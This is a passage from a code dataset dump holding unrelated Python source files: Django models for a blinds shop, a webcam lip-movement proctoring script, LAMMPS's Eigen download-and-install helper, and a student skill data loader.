related_name=\"products\",\n verbose_name=\"Коллекция\")\n created_at = models.DateTimeField(verbose_name=\"Дата создания\", auto_now=True)\n slug = models.SlugField(\n verbose_name=\"Ссылка продукта\",\n default=\"\",\n help_text=\"Данное поле заполнять не нужно\",\n )\n\n class Meta:\n verbose_name = \"Продукт\"\n verbose_name_plural = \"Продукты\"\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.name)\n\n self.uzs_price = convert_price(self.usd_price, _format=False)\n self.uzs_electrical_price = convert_price(self.usd_electrical_price, _format=False)\n self.uzs_cornice_type_price = convert_price(self.usd_cornice_type_price, _format=False)\n\n super().save(*args, **kwargs)\n\n def get_absolute_url(self):\n return reverse(\"product_detail\", kwargs={\"product_slug\": self.slug})\n\n def add_to_cart(self):\n return reverse(\"cart:to_cart\", kwargs={\"product_id\": self.pk, \"action\": \"add\"})\n\n def remove_from_cart(self):\n return reverse(\n \"cart:to_cart\",\n kwargs={\"product_id\": self.pk, \"action\": \"delete\"},\n )\n\n def get_first_img(self):\n images = self.images.all()\n if images:\n return images[0].image.url\n\n def generate_qty_range(self):\n return [x for x in range(1, self.quantity + 1)]\n\n def get_price(self, _format=True):\n if not _format:\n return self.uzs_price\n return format_price(self.uzs_price)\n\n def get_electrical_price(self, _format=False):\n electrical_price = self.uzs_electrical_price - self.uzs_price\n price = 0 if self.category.control_type != 'electrically_driven' else electrical_price\n\n if not _format:\n return price\n\n return format_price(price)\n\n def get_cornice_type_price(self, _format=False):\n cornice_price = self.uzs_cornice_type_price - self.uzs_price\n price = 0 if self.category.cornice_type != 'aluminium' else cornice_price\n if not _format:\n return price\n\n return format_price(price)\n\n def get_total_types_price(self, _format=True):\n total_price = self.uzs_cornice_type_price + self.uzs_electrical_price\n if not _format:\n return total_price\n return format_price(total_price)\n\n def get_price_with_discount(self, _format=True):\n if not self.discount:\n return self.get_price(_format)\n\n discount_amount = (self.uzs_price / 100) * self.discount\n final_price = round(self.uzs_price - discount_amount)\n if not _format:\n return final_price\n\n return format_price(final_price)\n\n def get_list_by_width_size(self):\n width_list = list(range(self.category.product_width_from, self.category.product_width_to + 1))\n return width_list\n\n def get_list_by_height_size(self):\n height_list = list(range(self.category.product_length_from, self.category.product_length_to + 1))\n return height_list\n\n def get_price_list_by_size(self):\n width_list = list(range(self.category.product_width_from, self.category.product_width_to + 1))\n _price_list = map(lambda x: round((x / 100) * self.uzs_price), width_list)\n _price_list = map(lambda x: x - self.uzs_price, _price_list)\n range_price_list = list(map(lambda x, y: (x, y), width_list, _price_list))\n return range_price_list\n\n def get_anayniski(self):\n height_list = self.get_list_by_height_size()\n width_list = self.get_list_by_width_size()\n prices = []\n size_list = list(map(lambda x, y: ((x / 100) * (y / 100)) / 2, width_list, height_list))\n for item in size_list:\n if item < 0.5:\n price = self.get_price(_format=False) // 2\n elif 0.5 < item < 1.0:\n price = self.get_price(_format=False)\n else:\n price = int(self.get_price(_format=False) * item)\n\n prices.append(price)\n\n result = list(map(lambda x, y: (x, y), width_list, prices))\n return result\n\n def get_price_dict_by_size(self):\n prices = self.get_price_list_by_size()\n prices_dict = [{price[0]: price[1]} for price in prices]\n return prices_dict\n\n def get_size_price(self, size):\n prices = self.get_price_dict_by_size()\n prices = [price.get(size) for price in prices if price.get(size)]\n if not prices:\n return 0\n\n if len(prices) > 0:\n return prices[0]\n\n\nclass ProductImageItem(models.Model):\n \"\"\"ProductImageItem model.\"\"\"\n\n product = models.ForeignKey(\n Product,\n on_delete=models.CASCADE,\n verbose_name=\"Продукт\",\n related_name=\"images\",\n )\n image = models.ImageField(verbose_name=\"Фото продукта\", upload_to=\"products/\")\n\n class Meta:\n verbose_name = \"Фото продукта\"\n verbose_name_plural = \"Фотки продуктов\"\n\n\nclass ProductOptionItem(models.Model):\n \"\"\"ProductOptionItem model.\"\"\"\n\n product = models.ForeignKey(\n Product,\n on_delete=models.CASCADE,\n verbose_name=\"Продукт\",\n related_name=\"options\",\n )\n title = models.CharField(\n verbose_name=\"Название характеристики\",\n max_length=100,\n )\n descr = models.TextField(verbose_name=\"Описание характеристики\")\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Характеристика\"\n verbose_name_plural = \"Характеристики\"\n\n\nclass HeroGallery(models.Model):\n \"\"\"HeroGallery model.\"\"\"\n\n title = models.CharField(verbose_name=\"Заголовок слайдера\", max_length=255)\n body = models.TextField(verbose_name=\"Описание слайдера\")\n img = models.ImageField(verbose_name=\"Фото слайда\", upload_to=\"slides/\", default=\"\")\n\n def img_preview(self): # new\n return mark_safe(f'')\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Слайд\"\n verbose_name_plural = \"Слайды\"\n\n\nclass ProjectsGallery(models.Model):\n \"\"\"ProjectsGallery model.\"\"\"\n\n title = models.CharField(\n verbose_name=\"Название проекта\", max_length=255, unique=True\n )\n subtitle = models.CharField(verbose_name=\"Подзаголовок проекта\", max_length=255,\n help_text=\"Показывается на главной странице\")\n short_description = models.TextField(verbose_name=\"Краткое описание проекта\", null=True,\n help_text=\"Краткое описание для проекта, показывается на странице проектов\")\n image = models.ImageField(verbose_name=\"Фотография\", upload_to=\"projects_gallery/\")\n description = RichTextField(verbose_name=\"Описание проекта\", null=True)\n slug = models.SlugField(verbose_name=\"Слаг\", null=True)\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.title)\n return super().save(*args, **kwargs)\n\n def get_absolute_url(self):\n return reverse('portfolio_detail', kwargs={\"slug\": self.slug})\n\n def img_preview(self): # new\n return mark_safe(f'')\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Проект\"\n verbose_name_plural = \"Проекты\"\n\n\nclass ProjectsGalleryImageItem(models.Model):\n project = models.ForeignKey(ProjectsGallery, on_delete=models.CASCADE, verbose_name=\"Проект\", related_name=\"images\")\n photo = models.ImageField(verbose_name=\"Дополнительное фото\", upload_to=\"projects_gallery/addons/\")\n\n class Meta:\n verbose_name = \"Дополнительное фото\"\n verbose_name_plural = \"Дополнительные фото\"\n\n\nclass Question(models.Model):\n \"\"\"Question model.\"\"\"\n\n name = models.CharField(\n verbose_name=\"Название вопроса\", max_length=255, unique=True\n )\n video_link = models.URLField(verbose_name=\"Ссылка на видео\")\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Видео\"\n verbose_name_plural = \"Видео\"\n\n\nclass Feedback(models.Model):\n \"\"\"Feedback model.\"\"\"\n\n body = models.TextField(verbose_name=\"Текст отзыва\")\n author = models.CharField(verbose_name=\"Автор отзыва\", max_length=255)\n author_avatar = models.ImageField(\n verbose_name=\"Фото автора\", upload_to=\"feedbacks/avatars/\"\n )\n company_name = models.CharField(verbose_name=\"Компания автора\", max_length=255)\n\n def img_preview(self): # new\n return mark_safe(\n f''\n )\n\n def __str__(self):\n return self.author\n\n class Meta:\n verbose_name = \"Отзыв\"\n verbose_name_plural = \"Отзывы\"\n\n\nclass Client(models.Model):\n \"\"\"Client model.\"\"\"\n\n name = models.CharField(\n verbose_name=\"Название клиента\", max_length=255, unique=True\n )\n image = models.ImageField(verbose_name=\"Фото компании\", upload_to=\"clients/\")\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Клиент\"\n verbose_name_plural = \"Клиенты\"\n\n\nclass Comment(models.Model):\n author = models.ForeignKey(\n CustomUser, on_delete=models.CASCADE, related_name=\"comments\"\n )\n product = models.ForeignKey(\n Product, on_delete=models.CASCADE, related_name=\"comments\"\n )\n body = models.TextField(verbose_name=\"Текст комментария\")\n\n def __str__(self):\n return f\"{self.author}: {self.product}\"\n\n class Meta:\n verbose_name = \"Комментарий\"\n verbose_name_plural = \"Комментарии\"\n\n\nclass CommentItem(models.Model):\n comment = models.ForeignKey(Comment, on_delete=models.CASCADE)\n\n img = models.ImageField(\n verbose_name=\"Фото\",\n upload_to=\"comments/\",\n blank=True,\n null=True,\n )\n\n\nclass SocialItem(models.Model):\n link = models.CharField(verbose_name=\"Ссылка на соц сеть\", max_length=500)\n icon = models.ImageField(verbose_name=\"Фото соц сети.\", upload_to=\"socials/icons/\",\n help_text=\"Фото должно быть расширения PNG\")\n\n def __str__(self):\n return self.link\n\n class Meta:\n verbose_name = \"Социальная сеть\"\n verbose_name_plural = \"Социальные сети\"\n\n\nclass Collection(models.Model):\n name = models.CharField(verbose_name=\"Название коллекции\", max_length=150)\n type = models.ForeignKey(Kind, on_delete=models.CASCADE, related_name=\"types\", verbose_name=\"Вид\")\n category = models.ForeignKey(Category, on_delete=models.CASCADE, related_name=\"categories\",\n verbose_name=\"Категория\")\n slug = models.SlugField(verbose_name=\"Ссылка коллекции\", default=\"\", help_text=\"Данное поле заполнять не нужно\")\n\n def count_products(self):\n return self.products.all().count()\n\n def save(self, *args, **kwargs): # new\n if not self.slug:\n self.slug = slugify(self.name)\n return super().save(*args, **kwargs)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Коллекция\"\n verbose_name_plural = \"Коллекции\"\n","repo_name":"IldarSaygafarov2/combouz_2.0","sub_path":"combouz/web_site/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":22479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18768769629","text":"from face_detector import get_face_detector, find_faces, draw_boxes\nfrom landmark_detector import get_square_box, get_landmark_model, get_marks, draw_marks\nimport cv2\nimport dlib\n\ndetector_tf = get_face_detector()\nlandmark_model_tf = get_landmark_model('models/pose_model')\n\ndetector_dlib = dlib.get_frontal_face_detector()\nlandmark_model_dlib = dlib.shape_predictor(\"models/shape_predictor_68_face_landmarks.dat\")\n\ninnerupperlip = [61,62,63]\ninnerlowerlip = [65,66,67]\nroi = innerupperlip+innerlowerlip\n\nglobal dlip_dlib_avg, dlip_tf_avg\ndlip_tf_avg=0.7\ndlip_dlib_avg=0.7\n\nassert len(innerlowerlip)==len(innerupperlip)\n\ndef mean(a):\n ans = 0\n for i in a:\n ans += (i/len(a))\n return ans\n\ndef ema(value, ema_prev, days=10, smoothing=2):\n #high smoothing = more weightage to new data\n ema_new = (value*(smoothing/(1+days))) + (ema_prev*(1-(smoothing/(1+days))))\n return ema_new\n\ndef lipmovementTF(frame, threshold=0.09):\n\n dlips_tf=[0.0]*len(innerupperlip)\n\n frame_tf = frame.copy()\n\n faces_tf = find_faces(frame_tf, detector_tf)\n\n draw_boxes(frame_tf, faces_tf)\n\n #TF\n for i, face in enumerate(faces_tf):\n\n if face == None:\n break\n\n face_img = frame_tf[face[1]: face[3],face[0]: face[2]].copy()\n landmarks_tf = get_marks(frame_tf, face, landmark_model_tf)\n \n #draw landmarks\n draw_marks(frame_tf, face, landmarks_tf[roi])\n\n for i in range(len(innerupperlip)):\n x = landmarks_tf[innerupperlip[i]][0]\n x1 = landmarks_tf[innerlowerlip[i]][0]\n y = landmarks_tf[innerupperlip[i]][1]\n y1 = landmarks_tf[innerlowerlip[i]][1]\n\n dlips_tf[i] = (abs(x1-x)+abs(y1-y))\n \n curr_mean = mean(dlips_tf)\n if curr_mean>0: \n global dlip_tf_avg\n dlip_tf_avg = ema( curr_mean, dlip_tf_avg) \n \n cv2.putText(frame_tf, \"{:.2}\".format(dlip_tf_avg), (face[0], face[1]), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 255, 255), 1)\n\n break\n\n #print(dlip_tf_avg)\n if dlip_tf_avg >= threshold:\n return (frame_tf,True)\n \n return (frame_tf,False)\n\n\ndef lipmovementDlib(frame, threshold=0.09):\n\n dlips_dlib=[0.0]*len(innerupperlip)\n\n frame_dlib = frame.copy()\n gray_frame = cv2.cvtColor(frame_dlib.copy(), cv2.COLOR_BGR2GRAY)\n\n faces_dlib = detector_dlib(gray_frame)\n\n #draw boxes\n temp_faces_dlib=[]\n for face in faces_dlib:\n x1 = face.left() \n y1 = face.top() \n x2 = face.right() \n y2 = face.bottom()\n temp_faces_dlib.append([x1,y1,x2,y2])\n draw_boxes(frame_dlib, temp_faces_dlib)\n\n for face in faces_dlib: \n\n x1 = face.left() \n y1 = face.top() \n x2 = face.right() \n y2 = face.bottom() \n\n w = abs(x2-x1)\n\n landmarks_dlib = landmark_model_dlib(gray_frame, face)\n\n #draw landmarks\n for n in roi: \n x = landmarks_dlib.part(n).x \n y = landmarks_dlib.part(n).y \n\n cv2.circle(frame_dlib, (x, y), 2, (255, 255, 0), -1) \n\n for i in range(len(innerupperlip)):\n x = landmarks_dlib.part(innerupperlip[i]).x\n x_end = landmarks_dlib.part(innerlowerlip[i]).x \n y = landmarks_dlib.part(innerupperlip[i]).y\n y_end = landmarks_dlib.part(innerlowerlip[i]).y\n\n dlips_dlib[i] = (abs(x_end-x)+abs(y_end-y))/w\n\n curr_mean = mean(dlips_dlib)\n if curr_mean>0: \n global dlip_dlib_avg\n dlip_dlib_avg = ema( curr_mean, dlip_dlib_avg) \n cv2.putText(frame_dlib, \"{:.2}\".format(dlip_dlib_avg), (x1, y1), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 255, 255), 1)\n\n break\n\n if dlip_dlib_avg >= threshold:\n return (frame_dlib,True)\n \n return (frame_dlib,False)\n\n\nif __name__=='__main__':\n vid = cv2.VideoCapture(0) \n\n while(True):\n\n ret, frame = vid.read()\n\n FrameTF, ansTF = lipmovementTF(frame)\n FrameDlib, ansDlib = lipmovementDlib(frame, 0.07)\n \n cv2.imshow(\"TF\", FrameTF)\n cv2.imshow(\"Dlib\", FrameDlib)\n\n if cv2.waitKey(1) & 0xFF == ord('q'): \n break\n\n vid.release() \n cv2.destroyAllWindows() ","repo_name":"h-r-v/Proctoring","sub_path":"AIProctor/lip movement AI/lipmovementUtil.py","file_name":"lipmovementUtil.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25853191459","text":"#!/usr/bin/env python\n\n\"\"\"\nInstall.py tool to download, unpack, and point to the Eigen library\nused to automate the steps described in the README file in this dir\n\"\"\"\n\nfrom __future__ import print_function\nimport sys, os, glob, shutil, tarfile\nfrom argparse import ArgumentParser\n\nsys.path.append('..')\nfrom install_helpers import fullpath, geturl, checkmd5sum\n\nparser = ArgumentParser(prog='Install.py',\n description=\"LAMMPS library build wrapper script\")\n\n# settings\n\nversion = '3.4.0'\ntarball = \"eigen.tar.gz\"\n\n# known checksums for different Eigen versions. used to validate the download.\nchecksums = { \\\n '3.4.0' : '4c527a9171d71a72a9d4186e65bea559', \\\n '3.3.9' : '609286804b0f79be622ccf7f9ff2b660', \\\n '3.3.7' : '9e30f67e8531477de4117506fe44669b' \\\n}\n\n\n# help message\n\nHELP = \"\"\"\nSyntax from src dir: make lib-machdyn args=\"-b\"\n or: make lib-machdyn args=\"-p /usr/include/eigen3\"\n\nSyntax from lib dir: python Install.py -b\n or: python Install.py -p /usr/include/eigen3\"\n or: python Install.py -v 3.4.0 -b\n\nExample:\n\nmake lib-machdyn args=\"-b\" # download/build in default lib/machdyn/eigen-eigen-*\nmake lib-machdyn args=\"-p /usr/include/eigen3\" # use existing Eigen installation in /usr/include/eigen3\n\"\"\"\n\npgroup = parser.add_mutually_exclusive_group()\npgroup.add_argument(\"-b\", \"--build\", action=\"store_true\",\n help=\"download and build the Eigen3 library\")\npgroup.add_argument(\"-p\", \"--path\",\n help=\"specify folder of existing Eigen installation\")\nparser.add_argument(\"-v\", \"--version\", default=version,\n help=\"set version of Eigen to download and build (default: %s)\" % version)\n\nargs = parser.parse_args()\n\n# print help message and exit, if neither build nor path options are given\nif not args.build and not args.path:\n parser.print_help()\n sys.exit(HELP)\n\nhomepath = fullpath(\".\")\neigenpath = os.path.join(homepath, \"eigen3\")\n\nbuildflag = args.build\npathflag = args.path is not None\nversion = args.version\n\nif pathflag:\n eigenpath = args.path\n if not os.path.isdir(eigenpath):\n sys.exit(\"Eigen path %s does not exist\" % eigenpath)\n eigenpath = fullpath(eigenpath)\n\n# download and unpack Eigen tarball\n# use glob to find name of dir it unpacks to\n\nif buildflag:\n print(\"Downloading Eigen ...\")\n eigentar = os.path.join(homepath, tarball)\n url = \"https://download.lammps.org/thirdparty/eigen-%s.tar.gz\" % version\n geturl(url, eigentar)\n\n # verify downloaded archive integrity via md5 checksum, if known.\n if version in checksums:\n print(\"checking version %s\\n\" % version)\n if not checkmd5sum(checksums[version], eigentar):\n sys.exit(\"Checksum for Eigen library does not match\")\n\n\n print(\"Cleaning up old folders ...\")\n edir = glob.glob(os.path.join(homepath, \"eigen-*\"))\n edir.append(eigenpath)\n for one in edir:\n if os.path.isdir(one):\n shutil.rmtree(one)\n\n print(\"Unpacking Eigen tarball ...\")\n if tarfile.is_tarfile(eigentar):\n tgz = tarfile.open(eigentar)\n tgz.extractall(path=homepath)\n os.remove(eigentar)\n else:\n sys.exit(\"File %s is not a supported archive\" % eigentar)\n edir = os.path.join(homepath, \"eigen-%s\" % version)\n os.rename(edir, eigenpath)\n\n# create link in lib/machdyn to Eigen src dir\n\nprint(\"Creating link to Eigen include folder\")\nif os.path.isfile(\"includelink\") or os.path.islink(\"includelink\"):\n os.remove(\"includelink\")\nlinkdir = eigenpath\nos.symlink(linkdir, 'includelink')\n","repo_name":"lammps/lammps","sub_path":"lib/machdyn/Install.py","file_name":"Install.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":1860,"dataset":"github-code","pt":"81"} +{"seq_id":"37652467580","text":"import json\nimport numpy as np\n\ndef load_data(path):\n with open(path) as f:\n data = json.load(f)\n return data\n\ndata = load_data('student_dict.json')\nsubject_university = load_data(('Subject.json'))\n\n\ndef take_skills(subject_history):\n skills = {}\n for subject in subject_history:\n score = subject['score']\n skill_list = subject['skills']\n for skill in skill_list:\n new_score = np.round(float(score)/10 * skill_list[skill], 2)\n if skill not in skills.keys():\n skills[skill] = new_score\n else:\n if skills[skill] < new_score:\n skills[skill] = new_score\n return skills\n \ndef format_skills(subject):\n form = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # 11 level\n for skill in subject['skills']:\n index = subject['skills'][skill] - 1\n form[index] += 1\n form[-1] = subject['score']\n return form\n\ndef format_skills_update(subject):\n new_subject = {}\n new_subject['skills'] = subject.copy()\n form = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # 11 level\n for skill in new_subject['skills']:\n index = new_subject['skills'][skill] - 1\n form[index] += 1\n return form\n\ndef take_subject_infor(subject_name,subject_university):\n for subject in subject_university:\n if subject['name'] == subject_name:\n return subject\n return None\n \n\ndef defind_level_hard(x): # tam giac can 45 do\n x = int(x)\n acreage = 0.5 * x * x\n return acreage\n\ndef format_level_hardd(x):\n level = [0.5, 2.0, 4.5, 8.0, 12.5, 18.0, 24.5, 32.0, 40.5, 50.0]\n for i in range(len(level)):\n if x < level[i]:\n return i + 1\n\n \ndef convert_to_feature(list_subject_history, subject_required, old_skills):\n X = []\n for subject in list_subject_history:\n X += format_skills(subject)\n\n subject_required_copy = subject_required.copy()\n for skill in subject_required_copy['skills']:\n if skill in old_skills.keys():\n subject_required_copy['skills'][skill] = format_level_hardd(defind_level_hard(subject_required_copy['skills'][skill]) - defind_level_hard(old_skills[skill]))\n \n X += format_skills(subject_required_copy)\n \n return X\n\ndef convert_to_feature_update(list_subject_history, subject_required):\n old_skills = take_skills(list_subject_history)\n X = []\n for subject in list_subject_history:\n X += format_skills(subject)\n\n subject_required_copy = {}\n subject_required_copy['skills'] = subject_required.copy()\n subject_required_copy['score'] = 0\n for skill in subject_required_copy['skills']:\n if skill in old_skills.keys():\n subject_required_copy['skills'][skill] = format_level_hardd(defind_level_hard(subject_required_copy['skills'][skill]) - defind_level_hard(old_skills[skill]))\n \n X += format_skills(subject_required_copy)\n \n return X\n\n\ndef take_student_data(student, subject_university):\n list_subject = student['subject_history']\n data = []\n for subject in list_subject:\n new_list_subject = [i for i in list_subject if i != subject]\n old_skills = take_skills(new_list_subject)\n subject_required = take_subject_infor(subject['name'],subject_university)\n X = convert_to_feature(new_list_subject, subject_required, old_skills)\n y = format_skills(subject) # lenght = 11\n data.append((X, y))\n return data\n\ndef load_data_student():\n new_dataset = []\n\n for student in data:\n list_data = take_student_data(student,subject_university)\n new_dataset += list_data\n \n return new_dataset\n \n\nif __name__ == '__main__':\n new_dataset = []\n\n for student in data:\n list_data = take_student_data(student,subject_university)\n new_dataset += list_data\n\n print(len(new_dataset))\n\n\n","repo_name":"duongstudent/Haahaha","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":3843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}